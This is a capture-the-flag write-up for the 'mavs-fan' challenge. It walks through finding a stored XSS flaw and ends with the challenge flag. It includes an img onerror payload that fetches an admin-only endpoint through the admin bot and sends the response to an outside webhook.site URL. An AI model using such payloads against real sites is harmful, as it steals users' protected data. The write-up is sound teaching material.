mavs-fan
Background
Just a Mavs fan trying to figure out what Nico Harrison cooking up for my team nowadays…
Hint - You can send a link to your post that the admin bot will visit. Note that the admin cookie is HttpOnly!
Site - mavs-fan.chall.lac.tf
Admin Bot - https://admin-bot.lac.tf/mavs-fan
- Difficulty: Easy
- This challenge has source code: mavs-fan.zip
Enumeration
Index page:
In this page, we have an input field and this challenge has an admin bot, so it's could be an client-side vulnerability. But first I will give it some input to see how it processes:
Click Send Message
and it will redirect us to another page, which contains a post and our input:
Okay, so I will try to exploit XSS by giving it a simple payload for testing XSS <script>alert(1)</script>
, click Send Message
:
Hmm, it seems like my payload doesn't work. I will inspect this page to see if it has filtered my payload:
Oh, my payload is still on the page and it seems not to be sanitized. So the payload may be successfully executed but the backend somehow handles it so it won't show to the client. Then I will test a payload with img
tag to see if it's executed before looking through the source code. My payload: <img src=x onerror="alert(1)"/>
.
Explain about the payload:
- We will use the
img
tag withsrc
attribute andonerror
attribute. - The
src=x
will cause an error because thex
doesn't exist, and when an error appears, theonerror="alert(1)"
get executed.
The result when I send the payload:
The payload works! Now, I need to look for the source code to see where and how I can read the flag.
Reading the source code, Idk why the
script
tag can't be executed cause I see no filter apllied on our input, maybe the web page has WAF which blocks thescript
tag or am I missing something???
In app.js
, we can see that the flag is located at the endpoint /admin
:
[...]
app.get('/admin', (req, res) => {
if (!req.cookies.secret || req.cookies.secret !== ADMIN_SECRET) {
return res.redirect("/");
}
return res.json({ trade_plan: FLAG });
});
[...]
To read the flag, we need the cookie of the admin and we have the admin bot!.
Exploitation
So, the idea is:
- We let the admin bot read the content of endpoint
/admin
- We will make the bot send the content to our domain ( I will use webhooks.site ), so we can read the flag!
This is my payload for this challenge: <img src="x" onerror="fetch('https://mavs-fan.chall.lac.tf/admin') .then(res => res.text()) .then(data => { fetch('https://webhook.site/273fb9ed-bb43-424f-b0b9-ceed3f8c3d22/?d='+encodeURIComponent(data)); });" />
.
Explain about the payload:
- First, we will use
img
tag to execute XSS which I've explained above. - When the
onerror
is loaded, we will make the bot read the content of the endpoint/admin
throughfetch()
. - Then, we will use
then()
to handle the data, the content of the endpoint/admin
will be assigned tores
and then it can be read throughres.text()
. - Next, we will use
then()
again and assignres.text()
todata
and make the bot send thedata
to our webhook throughd
parameter withfetch()
. (Remember to useencodeURIComponent()
if you want to dynamically assemble string values into a URL)
Back to the exploitation, we will save this payload to a post like we did before:
Next, we will send the url to our post to the admin bot, so it will read the post and then the payload will be executed:
Click Submit
and we should receive the flag on our webhook:
- Flag:
lactf{m4yb3_w3_sh0u1d_tr4d3_1uk4_f0r_4d}
Conclusion
What we've learned:
- Cross-site Scripting (XSS)